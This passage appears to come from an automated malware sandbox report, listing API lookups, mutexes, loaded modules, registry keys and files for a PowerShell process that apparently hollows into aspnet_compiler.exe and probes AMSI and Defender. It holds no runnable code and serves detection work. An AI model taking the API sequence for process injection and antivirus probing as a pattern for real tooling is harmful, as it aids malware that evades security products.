"GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcessW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00007328) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00007328)33:Ta71,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7328:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7328:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_01" Process powershell.exe created mutex with name "SM0:7328:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:7328:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7328:120:WilError_01" Process aspnet_compiler.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7596:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7596:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "\Sessions\1\BaseNamedObjects\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001" Process aspnet_compiler.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7596:64:WilError_01" Process aspnet_compiler.exe created mutex with name "eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001" Process aspnet_compiler.exe created mutex with name "SM0:7596:64:WilError_01" Process aspnet_compiler.exe created mutex with name "Local\SM0:7596:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "SM0:7596:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "\BaseNamedObjects\Multiarch.m0yv-fa49926a25c33ef8-inf" Process aspnet_compiler.exe created mutex with name "\BaseNamedObjects\Multiarch.m0yv-fa49926a25c33ef8adad7ef4-b" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\SearchServiceMUT" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Local\SM0:1828:120:WilError_01" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Local\SM0:1828:304:WilStaging_02" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\WindowsSearchService_EfsRegKeysMutex" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Global\Instance0: ESENT Performance Data Schema Version 280" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Instance1: ESENT Performance Data Schema Version 280" Process SearchProtocolHost.exe created mutex with name "\BaseNamedObjects\Local\SM0:4236:304:WilStaging_02" Process SearchProtocolHost.exe created mutex with name "\BaseNamedObjects\Local\SM0:4236:120:WilError_01" Process SearchProtocolHost.exe created mutex with name "\BaseNamedObjects\SyncRootManager"34:Tcd3,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135]35:T1eb5,"powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffe07d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff80ccf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff80e900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffff8700000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff811a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff80a9e0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff80fca0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff812360000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ff8015b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff80f370000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff810070000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff80f100000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff80f100000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff80f100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffffc290000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff812250000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff80e740000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff805b40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7fffdfd00000 "powershell.exe" loaded module "USER32.DLL" at base 7ff811c70000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff80f100000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff800f60000 "powershell.exe" loaded module "NTDLL" at base 7ff812360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff80f990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7fffde700000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff8118b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff80f990000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff80f8c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7fffdda90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7fffdd010000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7fffdcf60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff80daf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7fffdaef0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff80f990000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff80f990000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff811680000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff8101c0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff80f490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff80f490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 148f9250000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffff9e50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff805b40000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffff9d00000 "powershell.exe" loaded module "CRYPT32.DLL" at base 148f9250000 "powershell.exe" loaded module "KERNEL32" at base 7ff811a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\A0TLONRY.DLL" at base 7fffeff00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7fffdae50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7fffdace0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7fffdab70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7fffda200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7fffd9950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7fffd95e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7fffeb500000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff80f100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fffd9490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7fffd9420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7fffd9340000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7fffd92f0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff804a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7fffd91b0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff80e5b0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff80d710000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fffd90d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff811a00000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff80e5e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff810070000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff80f990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7fffd83c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffff8a20000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff80dcd0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff80f8c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7fffd8180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7fffd8010000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff80fdc000036:T771,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")37:T478,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsE>]]System32E>]uWINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsE>]]System32E>]uWINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: 7LJBXOXGNDGMKWL008QO.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00007328-00000C2E-1742516286] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" [Source: 00000000-00007328-00000C46-44465166442]38:T4da,"powershell.exe" reads file "C:\Users\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini"39:Tf7e,Observed 